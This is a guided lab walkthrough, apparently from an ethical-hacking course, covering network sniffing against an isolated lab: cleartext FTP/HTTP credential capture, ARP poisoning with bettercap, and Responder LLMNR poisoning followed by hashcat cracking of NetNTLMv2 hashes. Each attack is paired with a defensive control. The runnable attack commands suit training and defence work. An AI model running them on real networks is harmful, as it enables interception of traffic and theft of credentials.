Module 08 — Sniffing · Guided Lab Walkthrough¶
A step-by-step, do-it-in-order lab against your own environment only (the lab in
../../labs/— see../../labs/topology.md). Each step gives the command, what you should observe, a hint, and the defender/PAM takeaway. Outputs shown are representative — yours will differ.⚠️ Own-lab-segment only. Run everything on the isolated host-only network
192.168.56.0/24. ARP poisoning and MAC flooding disrupt real networks — never run Parts B or C off your lab, on a corporate/home LAN, or on any segment you do not own. There is no route from the lab segment to the internet or your home LAN by design.
Goal: prove that L2 sniffing sees and steals traffic — then watch encryption neutralize the payoff and switch/host hardening neutralize the technique.
Targets: Kali 192.168.56.10 (attacker) · Metasploitable2 192.168.56.20 (Linux target, FTP + HTTP login) · Windows DC 192.168.56.30 (ceh.lab) · Windows member ws01 192.168.56.31 (victim) · host-only gateway 192.168.56.1.
Prereqs: lab is up (labs/scripts/setup.sh), you can ping the targets, and rockyou.txt is unpacked (/usr/share/wordlists/rockyou.txt). Confirm your Kali capture interface with ip -br addr (shown as eth0 below — yours may be eth1).
Part A — Capture cleartext credentials, then watch TLS defeat it¶
A1. Capture your own FTP login and read the password in the clear¶
Start a capture on Kali, then log in to Metasploitable's FTP in a second terminal.
# terminal 1 — capture only FTP control traffic (BPF capture filter)
sudo tcpdump -i eth0 -w ftp.pcap 'tcp port 21'
# terminal 2 — log in (msfadmin/msfadmin), then quit
ftp 192.168.56.20
# Name: msfadmin
# Password: msfadmin
# ftp> quit
tshark -r ftp.pcap -Y 'ftp.request.command == "USER" || ftp.request.command == "PASS"'
USER msfadmin
PASS msfadmin
USER and PASS as readable ASCII — anyone on-path (or on a hub/SPAN) reads the password directly. Note tcp port 21 is a capture filter (BPF) while ftp.request.command == "PASS" is a display filter — two different grammars.
Hint: no packets captured?
Confirm the interface withip -br addr and that FTP is open: nc -nv 192.168.56.20 21. If tshark shows nothing, drop the display filter and just run tshark -r ftp.pcap to see raw frames, then narrow down.A2. Do the same over an HTTP login form¶
DVWA/Mutillidae is served over HTTP on Metasploitable (http://192.168.56.20/).
sudo tcpdump -i eth0 -w http.pcap 'tcp port 80'
# browse to http://192.168.56.20/dvwa/login.php and submit any login, then Ctrl-C
tshark -r http.pcap -Y 'http.request.method == "POST"' -T fields -e http.file_data
username=...&password=..., in cleartext.
Observe: HTTP Basic auth (http.authbasic) and form POSTs both expose credentials. The protocol, not the app, is the problem.
A3. Repeat over TLS/SSH and confirm you only get ciphertext¶
sudo tcpdump -i eth0 -w tls.pcap 'tcp port 22'
# in another terminal: sftp msfadmin@192.168.56.20 (or ssh) then exit
tshark -r tls.pcap -Y 'ssh' | head
Observe: same attacker position, same capture — but the credential is gone. Encryption is the swap that makes sniffing worthless. (Equivalent test: log in over HTTPS/FTPS and confirm the payload is TLS ciphertext.)
Defender/PAM view: the durable fix is to disable cleartext protocols (Telnet/FTP/HTTP/SNMPv1-2c/LDAP) and force SSH/TLS/SNMPv3/LDAPS. For privileged logins, go further: broker them through a PAM proxy (PSM) so the credential is injected server-side and never appears on the admin's wire even in encrypted form to crack later.
Part B — ARP MITM with bettercap (victim ↔ gateway)¶
Poison one victim (
ws01 192.168.56.31) against the gateway (192.168.56.1). Enable forwarding first so the victim stays online.
B1. Turn on IP forwarding, then ARP-spoof the victim¶
sudo sysctl -w net.ipv4.ip_forward=1
sudo bettercap -iface eth0
set arp.spoof.targets 192.168.56.31
set arp.spoof.fullduplex true
arp.spoof on
net.sniff on
[sys.log] [inf] arp.spoof enabling forwarding
[sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.
[net.sniff] 192.168.56.31 -> 192.168.56.20:80 [http] GET /...
ws01, arp -a shows the gateway's IP mapped to Kali's MAC — the tell-tale of a poisoned cache. Because forwarding is on, the victim never loses connectivity.
Hint: victim loses its connection?
You forgot IP forwarding — re-runsudo sysctl -w net.ipv4.ip_forward=1 before arp.spoof on. Also set arp.spoof.fullduplex true so both the victim and the gateway are poisoned.B2. See cleartext vs. TLS from the victim's traffic¶
With net.sniff on, have the victim browse the HTTP app on .20 — you'll see the URLs and any form posts. Then have the victim hit an HTTPS page.
You should see readable HTTP requests, but for HTTPS only a TLS handshake — and if you attempt to intercept TLS, the victim gets a certificate warning.
Observe: MITM at L2 succeeds regardless, but TLS keeps the payload unreadable. The technique worked; the payoff didn't.
Defender/PAM view: the technique itself is killed by Dynamic ARP Inspection (DAI) + static ARP for gateways; the payoff is killed by encryption. Detection: duplicate-IP / changed-MAC alerts and gratuitous-ARP bursts — see detection-engineering.md. Stop bettercap with arp.spoof off then q (it restores the caches).
B3. Apply the control and watch the attack fail¶
Pin a static ARP entry for the gateway on the victim (simulating DAI), then re-run B1:
# on ws01 (elevated) — simulate DAI by pinning the gateway MAC
netsh interface ipv4 add neighbors "Ethernet" 192.168.56.1 <REAL-GW-MAC>
You just demonstrated the control. The attack still runs but no longer redirects the victim.
Part C — Responder → NetNTLMv2 → hashcat -m 5600¶
C1. Start Responder and trigger a name lookup¶
sudo responder -I eth0 -wv
ws01, trigger an LLMNR/NBT-NS lookup for a name that won't resolve in DNS (e.g. browse to \\fileserv01 in Explorer, or dir \\fileserv01\share).
You should see Responder answer the poisoned lookup and capture a hash:
[LLMNR] Poisoned answer sent to 192.168.56.31 for name fileserv01
[SMB] NTLMv2-SSP Hash : ceh\jdoe::CEH:1122...:A1B2...:0101...
[SMB] NTLMv2-SSP saved to /usr/share/responder/logs/SMB-NTLMv2-...txt
jdoe without touching the DC — the victim volunteered it by trusting Responder's forged name answer.
Hint: no hash?
The victim must actually attempt an SMB/name lookup that fails DNS. Confirm LLMNR/NBT-NS is enabled onws01 (it is, until you disable it in C2). Check Responder's logs/ directory for saved hashes.C2. Crack the hash offline¶
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-*.txt /usr/share/wordlists/rockyou.txt
JDOE::CEH:...:...:...:Summer2024!
Status...........: Cracked
-m 1000 NTLM, not -m 13100 Kerberos). Offline cracking is silent on the target.
C3. Apply the control and watch the capture fail¶
Disable LLMNR/NBT-NS on ws01 (simulate GPO), then re-trigger the lookup with Responder running:
# on ws01 (elevated) — turn off LLMNR
New-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient" `
-Name EnableMulticast -Value 0 -PropertyType DWord -Force
Defender/PAM view: disable LLMNR + NBT-NS, enforce SMB signing, and require MFA so a captured NetNTLMv2 has no reusable payoff. Broker every privileged session so a Responder capture never resolves to a usable privileged credential — see cyberark-attack-mapping.md.
What you should conclude¶
Every "win" above has a specific control that turns it into a logged, contained "loss":
| You did | The control that stops it |
|---|---|
| Sniff FTP/HTTP credentials in cleartext | Encrypt the transport (SSH/TLS/SNMPv3/LDAPS); broker privileged sessions via PAM |
ARP-poison ws01 ↔ gateway (MITM) |
Dynamic ARP Inspection (DAI) + static ARP for gateways |
| Read a victim's HTTPS payload | You can't — TLS encryption neutralizes the payoff |
| Capture NetNTLMv2 with Responder | Disable LLMNR/NBT-NS, SMB signing, MFA |
| MAC-flood the switch (if attempted) | Port security (limit MACs/port, sticky-MAC) |
Cleanup¶
# stop bettercap: at its prompt run arp.spoof off then q (restores ARP caches)
# stop Responder: Ctrl-C
sudo sysctl -w net.ipv4.ip_forward=0 # turn forwarding back off
rm -f ftp.pcap http.pcap tls.pcap # remove captures containing lab creds
# on ws01: remove the static ARP entry and re-enable LLMNR only if you want to repeat from the vulnerable state
Record it¶
Log commands, filters used, and what surprised you in the My lab log table at the bottom of README.md, and note any misses in PROGRESS.md.